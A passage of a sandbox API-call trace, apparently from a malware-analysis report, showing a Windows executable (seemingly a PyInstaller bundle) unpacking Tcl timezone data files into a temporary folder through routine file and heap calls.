(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.806] GetFileType (hFile=0x10c) returned 0x1 [0039.806] htonl (hostlong=0xc0905a00) returned 0x5a90c0 [0039.806] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f40c0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.806] htonl (hostlong=0xb4000000) returned 0xb4 [0039.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb4) returned 0x55cfe0 [0039.806] htonl (hostlong=0xb4000000) returned 0xb4 [0039.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.806] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.807] htonl (hostlong=0x3e010000) returned 0x13e [0039.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13e) returned 0x550600 [0039.807] htonl (hostlong=0xb4000000) returned 0xb4 [0039.807] htonl (hostlong=0x3e010000) returned 0x13e [0039.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.807] CloseHandle (hObject=0x10c) returned 1 [0039.807] GetLastError () returned 0x0 [0039.807] SetLastError (dwErrCode=0x0) [0039.807] GetLastError () returned 0x0 [0039.807] SetLastError (dwErrCode=0x0) [0039.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.807] GetFileType (hFile=0x10c) returned 0x1 [0039.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.807] CloseHandle (hObject=0x10c) returned 1 [0039.808] GetLastError () returned 0x0 [0039.808] SetLastError (dwErrCode=0x0) [0039.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.808] GetFileType (hFile=0x10c) returned 0x1 [0039.808] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.808] CloseHandle (hObject=0x10c) returned 1 [0039.808] GetLastError () returned 0x0 [0039.808] SetLastError (dwErrCode=0x0) [0039.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.808] GetFileType (hFile=0x10c) returned 0x1 [0039.808] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.809] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.809] CloseHandle (hObject=0x10c) returned 1 [0039.809] GetLastError () returned 0x0 [0039.809] SetLastError (dwErrCode=0x0) [0039.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis") returned 73 [0039.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\davis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.809] GetLastError () returned 0x2 [0039.809] SetLastError (dwErrCode=0x2) [0039.809] GetLastError () returned 0x2 [0039.809] SetLastError (dwErrCode=0x2) [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis", lpFilePart=0x0) returned 0x48 [0039.809] GetLastError () returned 0x2 [0039.809] SetLastError (dwErrCode=0x2) [0039.809] GetLastError () returned 0x2 [0039.809] SetLastError (dwErrCode=0x2) [0039.809] GetLastError () returned 0x2 [0039.809] SetLastError (dwErrCode=0x2) [0039.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis") returned 73 [0039.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Davis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\davis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.820] GetFileType (hFile=0x10c) returned 0x1 [0039.820] htonl (hostlong=0x3e010000) returned 0x13e [0039.820] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.820] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x13e, lpOverlapped=0x0) returned 1 [0039.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.821] CloseHandle (hObject=0x10c) returned 1 [0039.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.821] htonl (hostlong=0x30000000) returned 0x30 [0039.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.822] GetFileType (hFile=0x10c) returned 0x1 [0039.822] htonl (hostlong=0x74915a00) returned 0x5a9174 [0039.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f4174, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.822] htonl (hostlong=0xa5000000) returned 0xa5 [0039.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa5) returned 0x544410 [0039.822] htonl (hostlong=0xa5000000) returned 0xa5 [0039.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.822] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.822] htonl (hostlong=0xcf000000) returned 0xcf [0039.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcf) returned 0x545d70 [0039.822] htonl (hostlong=0xa5000000) returned 0xa5 [0039.822] htonl (hostlong=0xcf000000) returned 0xcf [0039.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544410 | out: hHeap=0x530000) returned 1 [0039.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.822] CloseHandle (hObject=0x10c) returned 1 [0039.822] GetLastError () returned 0x0 [0039.822] SetLastError (dwErrCode=0x0) [0039.822] GetLastError () returned 0x0 [0039.822] SetLastError (dwErrCode=0x0) [0039.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.823] GetFileType (hFile=0x10c) returned 0x1 [0039.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.823] CloseHandle (hObject=0x10c) returned 1 [0039.823] GetLastError () returned 0x0 [0039.823] SetLastError (dwErrCode=0x0) [0039.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.823] GetFileType (hFile=0x10c) returned 0x1 [0039.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.824] CloseHandle (hObject=0x10c) returned 1 [0039.824] GetLastError () returned 0x0 [0039.824] SetLastError (dwErrCode=0x0) [0039.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.824] GetFileType (hFile=0x10c) returned 0x1 [0039.824] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.824] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.824] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.824] CloseHandle (hObject=0x10c) returned 1 [0039.824] GetLastError () returned 0x0 [0039.824] SetLastError (dwErrCode=0x0) [0039.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville") returned 82 [0039.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\dumontdurville"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.825] GetLastError () returned 0x2 [0039.825] SetLastError (dwErrCode=0x2) [0039.825] GetLastError () returned 0x2 [0039.825] SetLastError (dwErrCode=0x2) [0039.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville", lpFilePart=0x0) returned 0x51 [0039.825] GetLastError () returned 0x2 [0039.825] SetLastError (dwErrCode=0x2) [0039.825] GetLastError () returned 0x2 [0039.825] SetLastError (dwErrCode=0x2) [0039.825] GetLastError () returned 0x2 [0039.825] SetLastError (dwErrCode=0x2) [0039.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville") returned 82 [0039.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\DumontDUrville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\dumontdurville"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.825] GetFileType (hFile=0x10c) returned 0x1 [0039.825] htonl (hostlong=0xcf000000) returned 0xcf [0039.825] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.825] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcf, lpOverlapped=0x0) returned 1 [0039.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.827] CloseHandle (hObject=0x10c) returned 1 [0039.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545d70 | out: hHeap=0x530000) returned 1 [0039.827] htonl (hostlong=0x40000000) returned 0x40 [0039.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.828] GetFileType (hFile=0x10c) returned 0x1 [0039.828] htonl (hostlong=0x19925a00) returned 0x5a9219 [0039.828] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f4219, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.828] htonl (hostlong=0x87020000) returned 0x287 [0039.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x287) returned 0x550600 [0039.828] htonl (hostlong=0x87020000) returned 0x287 [0039.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.828] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.828] htonl (hostlong=0x970a0000) returned 0xa97 [0039.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa97) returned 0x55e278 [0039.828] htonl 